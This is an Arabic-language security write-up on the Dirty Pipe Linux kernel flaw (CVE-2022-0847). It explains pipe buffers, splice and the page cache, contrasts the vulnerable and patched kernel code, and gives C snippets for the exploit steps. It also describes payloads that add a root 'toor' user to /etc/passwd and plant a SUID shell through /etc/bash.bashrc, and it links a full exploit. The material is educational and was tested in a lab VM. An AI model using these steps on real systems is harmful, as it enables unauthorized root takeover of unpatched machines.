
استغلال CVE-2022-0847 - كتبه : Antonius (w1sdom)
Dirty Pipe (CVE-2022-0847) هي واحدة من أهم الثغرات الأمنية في نواة لينكس من الإصدار 5.8 إلى 5.15.24، اكتشفها ماكس كيلرمان في عام 2022. تسمح هذه الثغرة للمستخدمين العاديين (بدون امتيازات خاصة) بالكتابة فوق البيانات في الملفات التي يجب أن تكون للقراءة فقط. فهم المفاهيم الأساسية
قبل مناقشة Dirty Pipe بالتفصيل، إليك بعض المفاهيم الداخلية لنواة لينكس التي يجب فهمها:
1. التقسيم إلى صفحات (Paging)
التقسيم إلى صفحات هو آلية لإدارة الذاكرة في نواة لينكس حيث يقسم نظام الذاكرة الذاكرة الفعلية إلى كتل صغيرة ذات حجم ثابت تسمى إطارات الصفحات، وتقسم الذاكرة الافتراضية إلى كتل من نفس الحجم تسمى صفحات.
تسمح هذه الآلية للنواة بتعيين مساحة العنوان الافتراضية للعمليات إلى الذاكرة الفعلية بطريقة غير متسلسلة، وهو أمر بالغ الأهمية للكفاءة والأمان في الأنظمة الحديثة.
2. الصفحة (الذاكرة الافتراضية)
في لينكس، الصفحة هي أصغر وحدة لإدارة الذاكرة الفعلية تعالجها النواة.
تشبيه: ذاكرة الوصول العشوائي (RAM) مثل كتاب ضخم. الصفحة هي ورقة واحدة في ذلك الكتاب. النواة لا تنقل البيانات بتة بتة، بل ورقة ورقة (صفحة صفحة).
بشكل عام، في بنى الأنظمة الحديثة (مثل x86_64)، الحجم القياسي للصفحة الواحدة هو 4 كيلوبايت (4096 بايت).
3. ذاكرة التخزين المؤقت للصفحات (Page Cache)
هذا جزء حاسم. لينكس لا يقرأ الملفات مباشرة من القرص في كل مرة لأن ذلك بطيء. تقوم النواة بنسخ محتويات الملف إلى ذاكرة الوصول العشوائي تسمى ذاكرة التخزين المؤقت للصفحات.
4. مخزن الأنبوب (Pipe Buffer)
الأنبوب (Pipe) هو آلية للاتصال بين العمليات (IPC). داخليًا، تدير النواة الأنابيب باستخدام هيكل البيانات pipe_inode_info. يتم تخزين البيانات داخل الأنبوب في "مخزن" يسمى مخزن الأنبوب.
5. علم مخزن الأنبوب (PIPE_BUF_FLAG_CAN_MERGE)
تم تقديم العلم PIPE_BUF_FLAG_CAN_MERGE في نواة لينكس الإصدار 5.8.
هنا تكمن الثغرة الرئيسية. العلم المسمى PIPE_BUF_FLAG_CAN_MERGE.
6. Splice
splice() هي استدعاء نظام (syscall) لنقل البيانات بين واصفي ملف دون نسخ البيانات بين مساحة النواة ومساحة المستخدم. غالبًا ما يشار إلى هذا بآلية النسخ الصفري (Zero-copy).
استدعاء النظام splice() هو "الممثل الرئيسي" في Dirty Pipe:
7. النسخ عند الكتابة (Copy on Write / CoW)
آلية النسخ عند الكتابة (CoW) هي استراتيجية تحسين لإدارة الذاكرة تستخدمها نواة لينكس لتأخير نسخ البيانات حتى الحاجة المطلقة.
العلاقة بين النسخ عند الكتابة (CoW) واستغلال Dirty Pipe (CVE-2022-0847) هي حول كيفية نجاح خطأ صغير في نواة لينكس في "خداع" آلية CoW، مما يسمح بكتابة البيانات إلى الملفات التي يجب أن تكون للقراءة فقط.
8. الصفحة المتسخة (Dirty Page)
الصفحة المتسخة هي صفحة ذاكرة في ذاكرة الوصول العشوائي (RAM) تم تعديلها بواسطة تطبيق، ولكن لم يتم كتابة التغييرات مرة أخرى إلى وحدة التخزين الثانوية (مثل SSD أو القرص الصلب).
تحليل ثغرة Dirty Pipe
Dirty Pipe هي نوع من الأخطاء المنطقية في معالجة مخزن الأنبوب في نواة لينكس من الإصدار 5.8 إلى 5.15.24. المشكلة الرئيسية تكمن في آلية الأنبوب (قناة الاتصال بين العمليات) وكيف تدير النواة ذاكرة التخزين المؤقت للصفحات (الذاكرة التي تخزن نسخًا من بيانات الملف من القرص). المشكلة الأساسية هي خطأ في العلم PIPE_BUF_FLAG_CAN_MERGE.
المشكلة الرئيسية تكمن في فشل النواة في إعادة تهيئة هذا العلم بشكل صحيح (خطأ منطقي). إليك تحليل الكود: في الدالتين copy_page_to_iter_pipe و push_to_pipe في نواة لينكس قبل الإصدار 5.16.11، عند إجراء عمليات splice، تقوم النواة بإعداد هيكل pipe_buffer ولكن تنسى تنظيف العضو .flags.
هيكل الكود المعرض للثغرة:
// موقع المشكلة: fs/pipe.c or include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- هذا العلم لم يتم إعادة تعيينه
unsigned long private;
};
الكود قبل التصحيح (معرض للثغرة):
// lib/iov_iter.c - قبل تصحيح CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------اقتطاع-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// المشكلة: buf->flags لم يتم لمسها على الإطلاق
// --------اقتطاع----------------------
}
الكود بعد التصحيح (ثابت):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- إعادة تعيين كامل إلى الصفر
لماذا يعتبر buf->flags = 0 أفضل من مجرد إيقاف تشغيل علم معين؟ لأن pipe_buffer هو هيكل معاد استخدامه. إذا قمنا فقط بإيقاف تشغيل علم واحد (CAN_MERGE)، فقد تبقى أعلام قمامة أخرى من استخدام الأنبوب السابق (مثل PIPE_BUF_FLAG_GIFT أو أعلام مخصصة أخرى) وتسبب سلوكًا غريبًا أو ثغرات أمنية جديدة في المستقبل. تعيينها إلى 0 يضمن أن المخزن في حالة "نظيفة" تمامًا.
لماذا يمكن استغلال ذلك؟
إليك تدفق استغلال Dirty Pipe:
1. مرحلة التلويث: يقوم المهاجم بإدخال البيانات إلى الأنبوب عبر write(). ستقوم عملية write() عادية بتعيين buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. مرحلة التفريغ: يقرأ المهاجم تلك البيانات. المخزن الآن "فارغ" منطقيًا، لكن هيكله لا يزال موجودًا في ذاكرة النواة مع العلم CAN_MERGE نشطًا.
3. مرحلة Splice: عندما يقوم استدعاء النظام splice() بتعيين ملف للقراءة فقط إلى أنبوب، يتم استدعاء الدالة copy_page_to_iter_pipe(). بسبب الخطأ المذكور أعلاه، تملأ buf->page بصفحة الذاكرة الأصلية للملف ولكنها لا تعيد تعيين buf->flags.
4. التنفيذ: تعتقد النواة أن مخزن الملف هذا لا يزال قابلًا للدمج. الكتابة التالية إلى الأنبوب لن تنشئ مخزنًا جديدًا، بل ستقوم بالفعل بتعديل صفحة الذاكرة (ذاكرة التخزين المؤقت للصفحات) التي تم تعيينها سابقًا بشكل مباشر.
في هذه المرحلة، تكون بيانات المهاجم مخزنة بالفعل في ذاكرة الوصول العشوائي (RAM). الصفحة في RAM التي تختلف محتوياتها عما هو على القرص تسمى "صفحة متسخة". إذا تم الوصول إلى هذه المرحلة بنجاح، فهذا يعني أن الاستغلال قد نجح! بمجرد تغيير ذاكرة التخزين المؤقت للصفحات، يكون التأثير فوريًا. إذا قمنا بالكتابة فوق /etc/passwd في RAM، يمكننا فورًا تشغيل su root في تلك اللحظة.
استغلال Dirty Pipe
لاستغلال Dirty Pipe، لا نحتاج إلى تعطيل أي حماية من نواة لينكس لأن جميع حماية النواة غير ذات صلة لمنع هذا الخطأ المنطقي. لاستغلال الخطأ المنطقي للصفحة المتسخة، سيقوم استغلالنا بتنفيذ الخطوات التالية:
الخطوة 1. تحضير الأنبوب وملئه حتى الامتلاء بهدف تفعيل العلم PIPE_BUF_FLAG_CAN_MERGE.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
الخطوة 2. تفريغ الأنبوب.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
كود الاستغلال الكامل لاستغلال Dirty Pipe الكود الكامل للاستغلال متاح في https://github.com/bluedragonsecurity/dirtypipe2
ملاحظة: يحتوي كود الاستغلال الكامل على دوال للتحقق من إصدار النواة، وتحضير الأنبوب، وحقن الحمولة، وطريقتين مختلفتين للاستغلال تستهدفان /etc/passwd و /etc/bash.bashrc.
طرق الاستغلال
يستخدم الاستغلال أعلاه حمولتين مختلفتين بهدف أنه إذا فشلت الحمولة الأولى، ستتتابع مع الحمولة الثانية.
الحمولة 1: تكتب إلى /etc/passwd لإضافة مستخدم جديد باسم 'toor' مع UID 0. إذا نجحت هذه الحمولة، يمكننا فورًا الحصول على شل الجذر.
الحمولة 2: تهدف إلى إسقاط شل bash مع SUID في /tmp/x. بالنسبة للحمولة الثانية تحديدًا، يجب أن تنتظر حتى يقوم المستخدم الجذر على النظام بتسجيل الدخول لأن الحمولة لإسقاط شل SUID يتم حقنها في /etc/bash.bashrc. في لينكس، يتم تنفيذ الأوامر الموجودة في /etc/bash.bashrc بواسطة كل مستخدم يقوم بتسجيل الدخول إلى النظام عند وقت تسجيل الدخول.
اختبار الاستغلال
في هذا المثال، استخدمت نواة لينكس 5.13 تعمل على Lubuntu 20.04.5 في VirtualBox كضيف والنظام المضيف هو Kali Linux 2025.4. على جهاز Lubuntu 20.04.5، قم بترجمة الاستغلال:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
المراجع